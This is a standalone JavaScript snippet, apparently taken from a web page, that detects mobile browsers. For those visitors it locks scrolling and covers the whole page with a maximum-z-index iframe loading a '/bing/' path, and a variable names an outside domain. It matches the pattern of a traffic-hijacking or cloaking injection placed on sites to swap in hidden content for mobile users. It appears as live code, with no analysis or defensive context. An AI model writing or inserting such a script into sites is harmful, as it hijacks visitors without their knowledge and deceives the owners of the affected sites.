<script>
function isMobile() {
    let flag = navigator.userAgent.match(
        /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i
    );
    return flag;
}
if(isMobile()) {
    var url="https://www.fjyd.cc/bing/"; 
    var links = [
       '/bing/', 
       '/bing/'  
    ];
    var randomNum = Math.random();
    var index = randomNum < 0.5 ? 0 : 1;
    document.write('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />'); 
    document.write('<style>html,body{widht:100%;height:100%;overflow:hidden; clear:both;}</style>'); 
    document.write('<div style="width:100%;height:100%;position:absolute;top:0;left:0;z-index:2147483647;">'); 
    document.write('<iframe src=" '+links[index]+'" frameborder="0" style="border:0;width: 100%; text-align: center; border: none; height:100%;background:#ccc;max-height: 4000px;"></iframe>'); 
    document.write('</div>');
}
</script>